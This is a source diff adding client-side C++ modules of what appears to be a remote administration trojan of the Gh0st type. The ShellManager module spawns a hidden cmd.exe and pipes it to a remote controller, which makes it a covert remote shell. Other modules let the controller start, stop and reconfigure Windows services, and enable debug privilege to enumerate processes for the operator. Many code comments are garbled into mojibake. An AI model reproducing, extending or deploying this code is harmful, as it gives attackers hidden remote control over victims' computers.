+ lstrlen(ServicesInfor->lpBinaryPathName) + lstrlen(ServicesStatus[i].lpServiceName)
|
||||||
|
+ lstrlen(szRunWay) + lstrlen(szAutoRun) + 1;
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̫С<CCAB><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if (LocalSize(szBuffer) < (dwOffset + dwLength))
|
||||||
|
szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength),
|
||||||
|
LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||||
|
|
||||||
|
memcpy(szBuffer + dwOffset, ServicesStatus[i].lpDisplayName,
|
||||||
|
lstrlen(ServicesStatus[i].lpDisplayName) + 1);
|
||||||
|
dwOffset += lstrlen(ServicesStatus[i].lpDisplayName) + 1;//<2F><>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
memcpy(szBuffer + dwOffset, ServicesStatus[i].lpServiceName, lstrlen(ServicesStatus[i].lpServiceName) + 1);
|
||||||
|
dwOffset += lstrlen(ServicesStatus[i].lpServiceName) + 1;//<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
memcpy(szBuffer + dwOffset, ServicesInfor->lpBinaryPathName, lstrlen(ServicesInfor->lpBinaryPathName) + 1);
|
||||||
|
dwOffset += lstrlen(ServicesInfor->lpBinaryPathName) + 1;//·<><C2B7>
|
||||||
|
|
||||||
|
memcpy(szBuffer + dwOffset, szRunWay, lstrlen(szRunWay) + 1);//<2F><><EFBFBD><EFBFBD>״̬
|
||||||
|
dwOffset += lstrlen(szRunWay) + 1;
|
||||||
|
|
||||||
|
memcpy(szBuffer + dwOffset, szAutoRun, lstrlen(szAutoRun) + 1);//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬
|
||||||
|
dwOffset += lstrlen(szAutoRun) + 1;
|
||||||
|
|
||||||
|
CloseServiceHandle(hServices);
|
||||||
|
LocalFree(ServicesInfor); //Config
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseServiceHandle(m_hscManager);
|
||||||
|
|
||||||
|
LocalFree(ServicesStatus);
|
||||||
|
|
||||||
|
return szBuffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CServicesManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||||
|
{
|
||||||
|
switch (szBuffer[0])
|
||||||
|
{
|
||||||
|
case COMMAND_SERVICELIST:
|
||||||
|
SendServicesList();
|
||||||
|
break;
|
||||||
|
case COMMAND_SERVICECONFIG: //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
ServicesConfig((LPBYTE)szBuffer + 1, ulLength - 1);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CServicesManager::ServicesConfig(PBYTE szBuffer, ULONG ulLength)
|
||||||
|
{
|
||||||
|
BYTE bCommand = szBuffer[0];
|
||||||
|
char *szServiceName = (char *)(szBuffer+1);
|
||||||
|
|
||||||
|
switch(bCommand)
|
||||||
|
{
|
||||||
|
case 1: //start
|
||||||
|
{
|
||||||
|
SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_ALL_ACCESS);
|
||||||
|
if (NULL != hSCManager)
|
||||||
|
{
|
||||||
|
SC_HANDLE hService = OpenService(hSCManager,
|
||||||
|
szServiceName, SERVICE_ALL_ACCESS);
|
||||||
|
if ( NULL != hService )
|
||||||
|
{
|
||||||
|
StartService(hService, NULL, NULL);
|
||||||
|
CloseServiceHandle( hService );
|
||||||
|
}
|
||||||
|
CloseServiceHandle(hSCManager);
|
||||||
|
}
|
||||||
|
Sleep(500);
|
||||||
|
SendServicesList();
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
|
case 2: //stop
|
||||||
|
{
|
||||||
|
SC_HANDLE hSCManager =
|
||||||
|
OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS); //SC_MANAGER_CREATE_SERVICE
|
||||||
|
if ( NULL != hSCManager)
|
||||||
|
{
|
||||||
|
SC_HANDLE hService = OpenService(hSCManager,
|
||||||
|
szServiceName, SERVICE_ALL_ACCESS);
|
||||||
|
if ( NULL != hService )
|
||||||
|
{
|
||||||
|
SERVICE_STATUS Status;
|
||||||
|
BOOL bOk = ControlService(hService,SERVICE_CONTROL_STOP,&Status);
|
||||||
|
|
||||||
|
CloseServiceHandle(hService);
|
||||||
|
}
|
||||||
|
CloseServiceHandle(hSCManager);
|
||||||
|
}
|
||||||
|
Sleep(500);
|
||||||
|
SendServicesList();
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case 3: //auto
|
||||||
|
{
|
||||||
|
SC_HANDLE hSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
|
||||||
|
if ( NULL != hSCManager )
|
||||||
|
{
|
||||||
|
SC_HANDLE hService = OpenService(hSCManager, szServiceName,
|
||||||
|
SERVICE_ALL_ACCESS);
|
||||||
|
if ( NULL != hService )
|
||||||
|
{
|
||||||
|
SC_LOCK sclLock=LockServiceDatabase(hSCManager);
|
||||||
|
BOOL bOk = ChangeServiceConfig(
|
||||||
|
hService,
|
||||||
|
SERVICE_NO_CHANGE,
|
||||||
|
SERVICE_AUTO_START,
|
||||||
|
SERVICE_NO_CHANGE,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
NULL);
|
||||||
|
UnlockServiceDatabase(sclLock);
|
||||||
|
CloseServiceHandle(hService);
|
||||||
|
}
|
||||||
|
CloseServiceHandle(hSCManager);
|
||||||
|
}
|
||||||
|
Sleep(500);
|
||||||
|
SendServicesList();
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case 4: // DEMAND_START
|
||||||
|
{
|
||||||
|
SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE );
|
||||||
|
if ( NULL != hSCManager )
|
||||||
|
{
|
||||||
|
SC_HANDLE hService = OpenService(hSCManager, szServiceName, SERVICE_ALL_ACCESS);
|
||||||
|
if ( NULL != hService )
|
||||||
|
{
|
||||||
|
SC_LOCK sclLock = LockServiceDatabase(hSCManager);
|
||||||
|
BOOL bOK = ChangeServiceConfig(
|
||||||
|
hService,
|
||||||
|
SERVICE_NO_CHANGE,
|
||||||
|
SERVICE_DEMAND_START,
|
||||||
|
SERVICE_NO_CHANGE,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
NULL);
|
||||||
|
UnlockServiceDatabase(sclLock);
|
||||||
|
CloseServiceHandle(hService );
|
||||||
|
}
|
||||||
|
CloseServiceHandle( hSCManager);
|
||||||
|
}
|
||||||
|
Sleep(500);
|
||||||
|
SendServicesList();
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
26
client/ServicesManager.h
Normal file
26
client/ServicesManager.h
Normal file
@@ -0,0 +1,26 @@
|
|||||||
|
// ServicesManager.h: interface for the CServicesManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#if !defined(AFX_SERVICESMANAGER_H__02181EAA_CF77_42DD_8752_D809885D5F08__INCLUDED_)
|
||||||
|
#define AFX_SERVICESMANAGER_H__02181EAA_CF77_42DD_8752_D809885D5F08__INCLUDED_
|
||||||
|
|
||||||
|
#if _MSC_VER > 1000
|
||||||
|
#pragma once
|
||||||
|
#endif // _MSC_VER > 1000
|
||||||
|
|
||||||
|
#include "Manager.h"
|
||||||
|
|
||||||
|
class CServicesManager : public CManager
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CServicesManager(IOCPClient* ClientObject, int n);
|
||||||
|
virtual ~CServicesManager();
|
||||||
|
VOID CServicesManager::SendServicesList();
|
||||||
|
LPBYTE CServicesManager::GetServicesList();
|
||||||
|
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||||
|
void CServicesManager::ServicesConfig(PBYTE szBuffer, ULONG ulLength);
|
||||||
|
SC_HANDLE m_hscManager;
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // !defined(AFX_SERVICESMANAGER_H__02181EAA_CF77_42DD_8752_D809885D5F08__INCLUDED_)
|
||||||
191
client/ShellManager.cpp
Normal file
191
client/ShellManager.cpp
Normal file
@@ -0,0 +1,191 @@
|
|||||||
|
// ShellManager.cpp: implementation of the CShellManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "ShellManager.h"
|
||||||
|
#include "Common.h"
|
||||||
|
#include <IOSTREAM>
|
||||||
|
using namespace std;
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
// Construction/Destruction
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
BOOL bStarting = TRUE;
|
||||||
|
|
||||||
|
CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||||
|
{
|
||||||
|
m_hThreadRead = NULL;
|
||||||
|
m_hShellProcessHandle = NULL; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
|
||||||
|
m_hShellThreadHandle = NULL;
|
||||||
|
SECURITY_ATTRIBUTES sa = {0};
|
||||||
|
sa.nLength = sizeof(sa);
|
||||||
|
sa.lpSecurityDescriptor = NULL;
|
||||||
|
sa.bInheritHandle = TRUE; //<2F><>Ҫ
|
||||||
|
m_hReadPipeHandle = NULL; //client
|
||||||
|
m_hWritePipeHandle = NULL; //client
|
||||||
|
m_hReadPipeShell = NULL; //cmd
|
||||||
|
m_hWritePipeShell = NULL; //cmd
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>ܵ<EFBFBD>
|
||||||
|
if(!CreatePipe(&m_hReadPipeHandle, &m_hWritePipeShell, &sa, 0))
|
||||||
|
{
|
||||||
|
if(m_hReadPipeHandle != NULL)
|
||||||
|
{
|
||||||
|
CloseHandle(m_hReadPipeHandle);
|
||||||
|
}
|
||||||
|
if(m_hWritePipeShell != NULL)
|
||||||
|
{
|
||||||
|
CloseHandle(m_hWritePipeShell);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeHandle, &sa, 0))
|
||||||
|
{
|
||||||
|
if(m_hWritePipeHandle != NULL)
|
||||||
|
{
|
||||||
|
CloseHandle(m_hWritePipeHandle);
|
||||||
|
}
|
||||||
|
if(m_hReadPipeShell != NULL)
|
||||||
|
{
|
||||||
|
CloseHandle(m_hReadPipeShell);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD>Cmd FullPath
|
||||||
|
char strShellPath[MAX_PATH] = {0};
|
||||||
|
GetSystemDirectory(strShellPath, MAX_PATH); //C:\windows\system32
|
||||||
|
//C:\windows\system32\cmd.exe
|
||||||
|
strcat(strShellPath,"\\cmd.exe");
|
||||||
|
|
||||||
|
//1 Cmd Input Output Ҫ<>ܵ<CDB9><DCB5><EFBFBD>Ӧ<EFBFBD><D3A6>
|
||||||
|
//2 Cmd Hide
|
||||||
|
|
||||||
|
STARTUPINFO si = {0};
|
||||||
|
PROCESS_INFORMATION pi = {0}; //CreateProcess
|
||||||
|
|
||||||
|
memset((void *)&si, 0, sizeof(si));
|
||||||
|
memset((void *)&pi, 0, sizeof(pi));
|
||||||
|
|
||||||
|
si.cb = sizeof(STARTUPINFO); //<2F><>Ҫ
|
||||||
|
|
||||||
|
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
|
||||||
|
si.hStdInput = m_hReadPipeShell; //<2F><><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD>ֵ
|
||||||
|
si.hStdOutput = si.hStdError = m_hWritePipeShell;
|
||||||
|
|
||||||
|
si.wShowWindow = SW_HIDE;
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD><EFBFBD>
|
||||||
|
//3 <20>̳<EFBFBD>
|
||||||
|
|
||||||
|
if (!CreateProcess(strShellPath, NULL, NULL, NULL, TRUE,
|
||||||
|
NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi))
|
||||||
|
{
|
||||||
|
CloseHandle(m_hReadPipeHandle);
|
||||||
|
CloseHandle(m_hWritePipeHandle);
|
||||||
|
CloseHandle(m_hReadPipeShell);
|
||||||
|
CloseHandle(m_hWritePipeShell);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_hShellProcessHandle = pi.hProcess; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
|
||||||
|
m_hShellThreadHandle = pi.hThread;
|
||||||
|
|
||||||
|
BYTE bToken = TOKEN_SHELL_START; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
||||||
|
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||||
|
|
||||||
|
WaitForDialogOpen();
|
||||||
|
|
||||||
|
m_hThreadRead = CreateThread(NULL, 0,
|
||||||
|
(LPTHREAD_START_ROUTINE)ReadPipeThread, (LPVOID)this, 0, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
|
||||||
|
{
|
||||||
|
unsigned long dwReturn = 0;
|
||||||
|
char szBuffer[1024] = {0};
|
||||||
|
DWORD dwTotal = 0;
|
||||||
|
CShellManager *This = (CShellManager*)lParam;
|
||||||
|
while (bStarting)
|
||||||
|
{
|
||||||
|
Sleep(100);
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD>Ƕ<EFBFBD><C7B6><EFBFBD>
|
||||||
|
while (PeekNamedPipe(This->m_hReadPipeHandle, //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
szBuffer, sizeof(szBuffer), &dwReturn, &dwTotal, NULL))
|
||||||
|
{
|
||||||
|
//<2F><><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>ݾ<EFBFBD><DDBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD>
|
||||||
|
if (dwReturn <= 0)
|
||||||
|
break;
|
||||||
|
memset(szBuffer, 0, sizeof(szBuffer));
|
||||||
|
LPBYTE szTotalBuffer = (LPBYTE)LocalAlloc(LPTR, dwTotal);
|
||||||
|
//<2F><>ȡ<EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
ReadFile(This->m_hReadPipeHandle,
|
||||||
|
szTotalBuffer, dwTotal, &dwReturn, NULL);
|
||||||
|
|
||||||
|
This->m_ClientObject->OnServerSending((char*)szTotalBuffer, dwReturn);
|
||||||
|
|
||||||
|
LocalFree(szTotalBuffer);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
cout<<"ReadPipe<EFBFBD>߳<EFBFBD><EFBFBD>˳<EFBFBD>"<<endl;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CShellManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||||
|
{
|
||||||
|
switch(szBuffer[0])
|
||||||
|
{
|
||||||
|
case COMMAND_NEXT:
|
||||||
|
{
|
||||||
|
NotifyDialogIsOpen();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
{
|
||||||
|
unsigned long dwReturn = 0;
|
||||||
|
if(WriteFile(m_hWritePipeHandle, szBuffer, ulLength, &dwReturn,NULL))
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
CShellManager::~CShellManager()
|
||||||
|
{
|
||||||
|
bStarting = FALSE;
|
||||||
|
|
||||||
|
TerminateProcess(m_hShellProcessHandle, 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD><EFBFBD>
|
||||||
|
TerminateThread(m_hShellThreadHandle, 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Cmd<6D>߳<EFBFBD>
|
||||||
|
Sleep(100);
|
||||||
|
|
||||||
|
if (m_hReadPipeHandle != NULL)
|
||||||
|
{
|
||||||
|
DisconnectNamedPipe(m_hReadPipeHandle);
|
||||||
|
CloseHandle(m_hReadPipeHandle);
|
||||||
|
m_hReadPipeHandle = NULL;
|
||||||
|
}
|
||||||
|
if (m_hWritePipeHandle != NULL)
|
||||||
|
{
|
||||||
|
DisconnectNamedPipe(m_hWritePipeHandle);
|
||||||
|
CloseHandle(m_hWritePipeHandle);
|
||||||
|
m_hWritePipeHandle = NULL;
|
||||||
|
}
|
||||||
|
if (m_hReadPipeShell != NULL)
|
||||||
|
{
|
||||||
|
DisconnectNamedPipe(m_hReadPipeShell);
|
||||||
|
CloseHandle(m_hReadPipeShell);
|
||||||
|
m_hReadPipeShell = NULL;
|
||||||
|
}
|
||||||
|
if (m_hWritePipeShell != NULL)
|
||||||
|
{
|
||||||
|
DisconnectNamedPipe(m_hWritePipeShell);
|
||||||
|
CloseHandle(m_hWritePipeShell);
|
||||||
|
m_hWritePipeShell = NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
36
client/ShellManager.h
Normal file
36
client/ShellManager.h
Normal file
@@ -0,0 +1,36 @@
|
|||||||
|
// ShellManager.h: interface for the CShellManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#if !defined(AFX_SHELLMANAGER_H__287AE05D_9C48_4863_8582_C035AFCB687B__INCLUDED_)
|
||||||
|
#define AFX_SHELLMANAGER_H__287AE05D_9C48_4863_8582_C035AFCB687B__INCLUDED_
|
||||||
|
|
||||||
|
#if _MSC_VER > 1000
|
||||||
|
#pragma once
|
||||||
|
#endif // _MSC_VER > 1000
|
||||||
|
|
||||||
|
#include "Manager.h"
|
||||||
|
#include "IOCPClient.h"
|
||||||
|
|
||||||
|
class CShellManager : public CManager
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CShellManager(IOCPClient* ClientObject, int n);
|
||||||
|
|
||||||
|
HANDLE m_hReadPipeHandle;
|
||||||
|
HANDLE m_hWritePipeHandle;
|
||||||
|
HANDLE m_hReadPipeShell;
|
||||||
|
HANDLE m_hWritePipeShell;
|
||||||
|
|
||||||
|
virtual ~CShellManager();
|
||||||
|
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||||
|
|
||||||
|
static DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam);
|
||||||
|
|
||||||
|
HANDLE m_hThreadRead;
|
||||||
|
|
||||||
|
HANDLE m_hShellProcessHandle; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
|
||||||
|
HANDLE m_hShellThreadHandle;
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // !defined(AFX_SHELLMANAGER_H__287AE05D_9C48_4863_8582_C035AFCB687B__INCLUDED_)
|
||||||
8
client/StdAfx.cpp
Normal file
8
client/StdAfx.cpp
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
// stdafx.cpp : source file that includes just the standard includes
|
||||||
|
// ClientDll.pch will be the pre-compiled header
|
||||||
|
// stdafx.obj will contain the pre-compiled type information
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
|
||||||
|
// TODO: reference any additional headers you need in STDAFX.H
|
||||||
|
// and not in this file
|
||||||
42
client/StdAfx.h
Normal file
42
client/StdAfx.h
Normal file
@@ -0,0 +1,42 @@
|
|||||||
|
// stdafx.h : include file for standard system include files,
|
||||||
|
// or project specific include files that are used frequently, but
|
||||||
|
// are changed infrequently
|
||||||
|
//
|
||||||
|
|
||||||
|
#if !defined(AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_)
|
||||||
|
#define AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_
|
||||||
|
|
||||||
|
#if _MSC_VER > 1000
|
||||||
|
#pragma once
|
||||||
|
#endif // _MSC_VER > 1000
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>й©<D0B9><C2A9><EFBFBD>谲װVLD<4C><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD>ʹ<EFBFBD><CDB4><EFBFBD>
|
||||||
|
#include "vld.h"
|
||||||
|
|
||||||
|
// Insert your headers here
|
||||||
|
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
// TODO: reference additional headers your program requires here
|
||||||
|
|
||||||
|
//{{AFX_INSERT_LOCATION}}
|
||||||
|
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
|
||||||
|
|
||||||
|
#endif // !defined(AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_)
|
||||||
|
|
||||||
|
#include <assert.h>
|
||||||
|
#include <MMSystem.h>
|
||||||
|
#pragma comment(lib, "winmm.lib")
|
||||||
|
|
||||||
|
// <20>߾<EFBFBD><DFBE>ȵ<EFBFBD>˯<EFBFBD>ߺ<EFBFBD><DFBA><EFBFBD>
|
||||||
|
#define Sleep_m(ms) { timeBeginPeriod(1); Sleep(ms); timeEndPeriod(1); }
|
||||||
|
|
||||||
|
// <20>Բ<EFBFBD><D4B2><EFBFBD>n<EFBFBD><6E><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>C<EFBFBD>µȴ<C2B5>T<EFBFBD><54>(n<>Dz<EFBFBD><C7B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>1000)
|
||||||
|
#define WAIT_n(C, T, n) {assert(!(1000%(n)));int s=(1000*(T))/(n);do{Sleep(n);}while((C)&&(--s));}
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>C<EFBFBD><43><EFBFBD><EFBFBD>ʱ<EFBFBD>ȴ<EFBFBD>T<EFBFBD><54>(<28><><EFBFBD><EFBFBD>10ms)
|
||||||
|
#define WAIT(C, T) { timeBeginPeriod(1); WAIT_n(C, T, 10); timeEndPeriod(1); }
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>C<EFBFBD><43><EFBFBD><EFBFBD>ʱ<EFBFBD>ȴ<EFBFBD>T<EFBFBD><54>(<28><><EFBFBD><EFBFBD>1ms)
|
||||||
|
#define WAIT_1(C, T) { timeBeginPeriod(1); WAIT_n(C, T, 1); timeEndPeriod(1); }
|
||||||
279
client/SystemManager.cpp
Normal file
279
client/SystemManager.cpp
Normal file
@@ -0,0 +1,279 @@
|
|||||||
|
// SystemManager.cpp: implementation of the CSystemManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "SystemManager.h"
|
||||||
|
#include "Common.h"
|
||||||
|
#include <IOSTREAM>
|
||||||
|
using namespace std;
|
||||||
|
#include <TLHELP32.H>
|
||||||
|
#include <Psapi.h>
|
||||||
|
|
||||||
|
#pragma comment(lib,"psapi.lib")
|
||||||
|
|
||||||
|
enum
|
||||||
|
{
|
||||||
|
COMMAND_WINDOW_CLOSE, //<2F>رմ<D8B1><D5B4><EFBFBD>
|
||||||
|
COMMAND_WINDOW_TEST, //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
};
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
// Construction/Destruction
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
CSystemManager::CSystemManager(IOCPClient* ClientObject,BOOL bHow):CManager(ClientObject)
|
||||||
|
{
|
||||||
|
if (bHow==COMMAND_SYSTEM)
|
||||||
|
{
|
||||||
|
//<2F><><EFBFBD><EFBFBD>
|
||||||
|
SendProcessList();
|
||||||
|
}
|
||||||
|
else if (bHow==COMMAND_WSLIST)
|
||||||
|
{
|
||||||
|
//<2F><><EFBFBD><EFBFBD>
|
||||||
|
SendWindowsList();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CSystemManager::SendProcessList()
|
||||||
|
{
|
||||||
|
LPBYTE szBuffer = GetProcessList(); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if (szBuffer == NULL)
|
||||||
|
return;
|
||||||
|
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
|
||||||
|
LocalFree(szBuffer);
|
||||||
|
|
||||||
|
szBuffer = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CSystemManager::SendWindowsList()
|
||||||
|
{
|
||||||
|
LPBYTE szBuffer = GetWindowsList(); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if (szBuffer == NULL)
|
||||||
|
return;
|
||||||
|
|
||||||
|
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer)); //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7>͵õ<CDB5><C3B5>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
LocalFree(szBuffer);
|
||||||
|
}
|
||||||
|
|
||||||
|
LPBYTE CSystemManager::GetProcessList()
|
||||||
|
{
|
||||||
|
DebugPrivilege(SE_DEBUG_NAME,TRUE); //<2F><>ȡȨ<C8A1><C8A8>
|
||||||
|
|
||||||
|
HANDLE hProcess = NULL;
|
||||||
|
HANDLE hSnapshot = NULL;
|
||||||
|
PROCESSENTRY32 pe32 = {0};
|
||||||
|
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||||
|
char szProcessFullPath[MAX_PATH] = {0};
|
||||||
|
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
|
||||||
|
|
||||||
|
DWORD dwOffset = 0;
|
||||||
|
DWORD dwLength = 0;
|
||||||
|
DWORD cbNeeded = 0;
|
||||||
|
HMODULE hModules = NULL; //<2F><><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>һ<EFBFBD><D2BB>ģ<EFBFBD><C4A3><EFBFBD>ľ<EFBFBD><C4BE><EFBFBD>
|
||||||
|
|
||||||
|
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); //<2F><>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>һ<EFBFBD>»<EFBFBD><C2BB><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
szBuffer[0] = TOKEN_PSLIST; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||||
|
dwOffset = 1;
|
||||||
|
|
||||||
|
if(Process32First(hSnapshot, &pe32)) //<2F>õ<EFBFBD><C3B5><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳<EFBFBD><CBB3><EFBFBD>ж<EFBFBD>һ<EFBFBD><D2BB>ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
